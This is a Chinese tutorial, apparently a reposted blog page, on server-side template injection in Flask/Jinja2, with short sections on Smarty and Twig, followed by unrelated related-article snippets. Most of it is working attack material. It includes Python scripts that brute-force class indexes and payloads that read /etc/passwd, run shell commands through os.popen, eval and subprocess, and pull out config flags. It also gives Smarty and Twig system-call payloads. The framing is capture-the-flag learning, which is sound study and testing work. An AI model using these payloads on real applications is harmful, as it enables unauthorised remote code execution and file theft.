python flask Jinja2模板学习

分类很好的一篇文章

Jinja2模板语法 

Jinja2里常见的三种定界符:

  • (1) 语句 {% ... %}
  • (2) 表达式 {{ ... }}
  • (3) 注释 {# ... #}
   {%set a='dazhaung'%}   语句设置变量{{a}}            表达式{% if 2>1 %}控制语句以{%endif%}结尾

Jinja2支持使用“.”获取变量的属性,比如user字典中的username键值通过“.”获取,即user.username 等同于 user['username']。 


python 类的基础知识

所有类的最终父类都是object,漏洞是通过找到父类下的执行函数命令执行

魔法方法

__class__ 查找当前类型的所属对象

__base__ 沿着父子类的关系往上走一个

__mro__ 查找当前类对象的所有继承类

__subclasses__() 查找父类下的所有子类

__init__ 查看类是否重载,重载实质程序运行是就已经加载好了这个模块到内存中,如果出现wrapper,说明没有重载

__globals__ 函数会以字典形式返回当前对象的全部全局变量

__builtins__提供对python的所有内置标识符的直接访问

eval计算字符串表达式的值

popen()执行一个shell以运行命令

一、文件读取 多配合pin码 

step1:脚本读取 _frozen_importlib_external.FileLoader

import requests
url = input('请输入 URL : ')
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}response = requests.post(url, data=data)if response.status_code == 200:if '_frozen_importlib_external.FileLoader' in response.text:print(i)

step2: 直接利用其 get_data() 函数即可。

get_data() 利用时第一个参数为 0 ,第二个参数为文件路径即可。

0:这是一个参数,表示要加载的文件的模块名称。在这里,0 表示没有特定的模块名称,而是直接指定文件路径。

name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

二、RCE 远程代码执行

1. 利用含有内建函数eval的__builtins__  模块执行命令

内建函数:python 在执行脚本时自动加载的函数,可通过 __builtins__ 进行直接访问

step1: 脚本查找首可以利用内建函数 eval 的模块: 

import requests
url = input("请输入 URL:")
for i in range(500):# payload 中需要先初始化再列出所有全局变量data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}response = requests.post(url, data=data)if response.status_code == 200:if "eval" in response.text:print(i)

step2: 利用内建函数 __builtins__寻找eval() 和 popen() 或者file 执行系统命令

利用内嵌函数eval进行命令执行
name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}利用file函数进行读取
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

2. os 模块执行系统命令  hackbar里边都有 

2.1 在 flask 其他函数中直接调用 os 模块(flask 内嵌)

  • 通过 config
  • {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
    
  • 通过 url_for()
{{url_for.__globals__.os.popen('ls').read()}}
等价于
{{url_for.__globals__['os'].popen('ls').read()}}注意区别 os是__globals__中的一个模块,可以用字典引用,而popen('ls')中ls是参数不能用 .ls替换
  • 通过 lipsum()
{{lipsum.__globals__.os.popen('cat flag').read()}}

 2.2 在已经加载 os 模块的子类里直接调用 os 模块

(1)寻找含有 os 模块的类
step1: 脚本查找含有os的类

老规矩,先用脚本查找哪些子类已经加载 os 模块

import requests
url = input("请输入 URL:")
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}response = requests.post(url, data=data)if response.status_code == 200:if "os.py" in response.text:print(i)

 step2: 构造 payload

{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
(2) linecache 函数执行命令

linecache 函数用于读取一个文件的某一行。这个函数加载了 os 模块,因此可以用来执行命令。

import requests
url = input("请输入 URL:")
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}response = requests.post(url, data=data)if response.status_code == 200:if "linecache" in response.text:print(i){{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
# 等价于
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"].os.popen("ls -l /").read()}}

3.其他

 读取配置文件中的FLAG 

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

 利用warnings.catch_warnings 进行命令执行 

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
4.寻找类加载os的类来执行os
(1)importlib 类执行命令

可使用该类的 load_module 方法加载 os 模块

import requests
url = input("请输入 URL:")
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}response = requests.post(url, data=data)if response.status_code == 200:if "_frozen_importlib.BuiltinImporter" in response.text:print(i)
step2: 构造 payload
{{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
注意这里的('os')是一个参数,意思是加餐os模块,不能用['os']或者.os.替换
(2) subprocess.Popen 类执行命令

subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn  

import requests
url = input("请输入 URL:")
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}response = requests.post(url, data=data)if response.status_code == 200:if "subprocess.Popen" in response.text:print(i){{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

常见的模板引擎有 

.php 常用的

Smarty

Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛

Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。

2.Java 常用的

JSP

这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典

FreeMarker

FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3.Python 常用的

Jinja2

flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎

django

django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

tornado

tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

 

1.smarty模板注入常用标签

{php}:

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签

但是这个也是要分版本的,Smarty已经废弃{php}标签,强烈建议不要使用 

{}

直接输入php命令即可:
{system(‘ls’)}

 2.Twig模板注入 

// Jinja2
{{7*7}}
{{7*'7'}}    ->   7777777// Twig
{{7*7}}
{{7*'7'}}    ->    49payload:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls")}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/197649.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python小案例:99乘法表打印

99乘法表的打印 分析: 1、需要利用两次循环进行控制循环次数 2、通过print参数进行控制打印样式 代码部分 # 外循环实现层级 for i in range(1,10):# 内循环控制计算for j in range(1,i1):# 利用print函数结尾end参数控制打印print(f"{j}*{i}{j*i}",e…

FPGA时序分析与时序约束(一)

一、为什么要进行时序分析和时序约束 PCB通过导线将具有相关电气特性的信号相连接,这些电气信号在PCB上进行走线传输时会产生一定的传播延时。 而FPGA内部也有着非常丰富的可配置的布线资源,能够让位于不同位置的逻辑资源块、时钟处理单元、BLOCK RAM、D…

【未解决】huggingface模型文件下载地址为什么会变?

问题描述 上次我们已经分析了huggingface加载模型时候的文件目录应该是怎么样的?(感兴趣的可以主页搜索“【经验分享】huggingface模型加载过程下载到cache文件目录具体是怎么组织的?以及都会有什么文件目录,每个文件目录是什么&a…

翻译: 生成式人工智能的工作原理How Generative AI works

ChatGPT 和 Bard 等系统生成文本的能力几乎像魔法一样。它们确实代表了 AI 技术的一大步进。但是文本生成到底是如何工作的呢?在这个视频中,我们将看看生成式 AI 技术的底层原理,这将帮助你理解你可以如何使用它,以及何时可能不想…

【开源】基于JAVA的考研专业课程管理系统

项目编号: S 035 ,文末获取源码。 \color{red}{项目编号:S035,文末获取源码。} 项目编号:S035,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 考研高校模块2.3 高…

免费的SEO外链发布工具,提升排名的利器

互联网已经成为信息传播和商业发展的重要平台。而对于拥有网站的个人、企业来说,如何让自己的网站在搜索引擎中脱颖而出?SEO(Search Engine Optimization)作为提高网站在搜索引擎中排名的关键手段. 什么是SEO外链? S…

【STM32入门】3.OLED屏幕

1.OLED引脚 OLED屏幕的接线按图所示,本例中用的是4管脚OLED屏幕 2.驱动程序 配套的驱动程序是“OLED.c",主要由以下函数构成:1、初始化;2、清屏;3、显示字符;4、显示字符串;5、显示数字…

使用激光雷达(LiDAR)和相机进行3D物体跟踪

使用相机和激光雷达进行时间到碰撞(TTC)计算 在我的先前文章中,我介绍了通过检测关键点和匹配描述符进行2D特征跟踪的主题。在本文中,我将利用这些文章中的概念,以及更多的内容,开发一个软件流水线&#xf…

STM32串口通信初探:使用HAL库实现基本功能

在本文中,我们将探索如何使用STM32的HAL库来实现串口通信的基本功能。串口通信是一种常见的外设通信方式,用于在微控制器和其他外部设备之间进行数据传输。在STM32系列微控制器中,HAL库提供了简单且灵活的方法来实现串口通信。我们将重点讨论…

深入理解强化学习——马尔可夫决策过程:蒙特卡洛方法-[代码实现]

分类目录:《深入理解强化学习》总目录 在文章《深入理解强化学习——马尔可夫决策过程:蒙特卡洛方法-[基础知识]》中我们介绍了利用蒙特卡洛方法计算马尔可夫决策过程价值的方法,本文将用代码定义一个采样函数。采样函数需要遵守状态转移矩阵…

使用栈解决括号匹配问题(详解)

项目结构 项目头文件的代码或截图 头文件代码 #ifndef LINKSTACK_H #define LINKSTACK_H #include <stdio.h> #include <stdlib.h> // 链式栈的节点 typedef struct LINKNODE {struct LINKNODE* next; }LinkNode; // 链式栈 typedef struct LINKSTACK {LinkNode h…

【Java 基础】19 多线程基础

文章目录 进程和线程进程&#xff08;Process&#xff09;线程&#xff08;Thread&#xff09; 线程的创建1&#xff09;继承 Thread 类2&#xff09;实现 Runnable 接口3&#xff09;使用 Lambda 表达式4&#xff09;总结 线程的状态状态的分类状态间转换 多线程是一种 同时执…

6、原型模式(Prototype Pattern,不常用)

原型模式指通过调用原型实例的Clone方法或其他手段来创建对象。 原型模式属于创建型设计模式&#xff0c;它以当前对象为原型&#xff08;蓝本&#xff09;来创建另一个新的对象&#xff0c;而无须知道创建的细节。原型模式在Java中通常使用Clone技术实现&#xff0c;在JavaSc…

SpringBoot系列之集成Jedis教程

SpringBoot系列之集成Jedis教程&#xff0c;Jedis是老牌的redis客户端框架&#xff0c;提供了比较齐全的redis使用命令&#xff0c;是一款开源的Java 客户端框架&#xff0c;本文使用Jedis3.1.0加上Springboot2.0&#xff0c;配合spring-boot-starter-data-redis使用&#xff0…

基恩士软件的基本操作(六,KV脚本的使用)

目录 什么是KV脚本&#xff1f; KV脚本有什么用&#xff1f; 怎么使用KV脚本&#xff08;脚本不能与梯形图并联使用&#xff09;&#xff1f; 插入框脚本&#xff08;CtrlB&#xff09; 插入域脚本&#xff08;CtrlR&#xff09; 区别 脚本语句&#xff08;.T是字符串类…

【C进阶】C程序是怎么运作的呢?-- 程序环境和预处理(上)

前言&#xff1a; 由于c语言的程序编译链接的这块知识点不清楚&#xff0c;回来复习一遍&#xff0c;以便于好理解c知识&#xff0c;我会尽快更新下一篇文章。 目录 1.程序的翻译环境和执行环境 2.翻译环境&#xff08;编译链接&#xff09; 编译&#xff08;编译器&#xf…

算符优先语法分析程序设计与实现

制作一个简单的C语言词法分析程序_用c语言编写词法分析程序-CSDN博客文章浏览阅读378次。C语言的程序中&#xff0c;有很单词多符号和保留字。一些单词符号还有对应的左线性文法。所以我们需要先做出一个单词字符表&#xff0c;给出对应的识别码&#xff0c;然后跟据对应的表格…

电子学会C/C++编程等级考试2022年09月(四级)真题解析

C/C++等级考试(1~8级)全部真题・点这里 第1题:最长上升子序列 一个数的序列bi,当b1 < b2 < … < bS的时候,我们称这个序列是上升的。对于给定的一个序列(a1, a2, …, aN),我们可以得到一些上升的子序列(ai1, ai2, …, aiK),这里1 <= i1 < i2 < … &l…

IoT DC3 是一个基于 Spring Cloud 全开源物联网平台 linux docker部署傻瓜化步骤

如有不了解可先参考我的另一篇文章本地部署:IoT DC3 是一个基于 Spring Cloud 的开源的、分布式的物联网(IoT)平台本地部署步骤 如有不了解可先参考我的另一篇文章本地部署: 1 环境准备: JDK 8 以上 docker 安装好 下载docker-compose-dev.yml 文件 执行基础环境docker安装 …

gitlab-jenkins-shell-helm-chart-k8s自动化部署微服务

1.准备好编译环境的容器&#xff0c;所有容器的镜像制作在gemdale-dockerfile这个代码库里面&#xff0c;也可以直接拉取官方镜像部署 docker run --name node1420-patternx -v /data/var/www/:/data/var/www/ -v /var/jenkins_home/:/var/jenkins_home/ -v /mnt/hgfs/:/mnt/h…